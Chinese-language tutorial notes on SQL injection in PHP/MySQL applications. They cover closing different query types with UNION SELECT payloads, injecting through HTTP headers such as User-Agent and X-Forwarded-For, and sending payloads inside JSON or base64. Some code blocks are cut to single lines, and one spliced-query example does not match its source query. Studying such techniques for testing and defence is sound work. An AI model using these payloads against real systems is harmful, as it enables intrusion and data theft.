PHP-MYSQL-数据请求类型
SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句,大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败!
由于开发者对于数据类型和SQL语句写法(框架写法)导致SQL注入拼接失败,需要解决拼接才能成功
数字型(无符号干扰)
1
select * from news where id=$id;
字符型(有符号干扰)
1
2
3select * from news where id='$id';
注入语句:http://1.1.1.1:81/new.php?id=1' union select 1,2,3,4,5,6--+
拼接语句:select * from news where id='1' union select 1,2,3,4,5,6-- '搜索型(有多符号干扰)
1
2
3select * from news where id like '%$id%'
注入语句:http://1.1.1.1:81/new.php?id=1%' union select 1,2,3,4,5,6--+
拼接语句:select * from news where id like '%1%' union select 1,2,3,4,5,6-- %'框架型(有各种符号干扰)
1
2
3select * from news where id=('$id');
注入语句:http://1.1.1.1:81/new.php?id=1') union select 1,2,3,4,5,6--+
拼接语句:select * from news where id=('1') union select 1,2,3,4,5,6-- ')1
2
3select * from news where (id='$id');
注入语句:http://1.1.1.1:81/new.php?id=1') union select 1,2,3,4,5,6--+
拼接语句:select * from news where id=('1') union select 1,2,3,4,5,6-- ')闭合单引号和括号的时候,不一定非要用–+注释掉后面,有时候不起作用的话,使用#和and ‘1’=’1也可以,看情况多试
PHP-MYSQL-数据请求方法
全局变量方法:GET,POST,SERVER,FILES,HTTP头等
get请求是在上面测试的:
1 | GET /new.php?id=1%27%20union%20select%201,2,3,4,5,6--+ HTTP/1.1 |
post是在下面测试提交的
1 | POST /sqli/post.php HTTP/1.1 |
注入点包括:
User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
X_FORWARDED_FOR:用户访问的IP其中之一方式
1 | $ua=$_SERVER['HTTP_USER_AGENT']; //数据包里UA头浏览器信息 |
功能点:
用户登录时
登录判断IP时
是PHP特性中的$_SERVER[‘HTTP_X_FORWARDED_FOR’];接受IP的绕过(绕过)
实现:代码配置固定IP去判断-策略绕过
实现:数据库白名单IP去判断-select注入
实现:防注入记录IP去保存数据库-insert注入文件上传将文件名写入数据库-insert注入
PHP-MYSQL-数据请求格式
数据采用统一格式传输,后端进行格式解析带入数据库(json)
1
"sadadsasd' union select 1,2,3,4#"
数据采用加密编码传输,后端进行解密解码带入数据库(base64)
1
23' union select 1,2,3,4,5,6 --+
MycgdW5pb24gc2VsZWN0IDEsMiwzLDQsNSw2IC0tKw==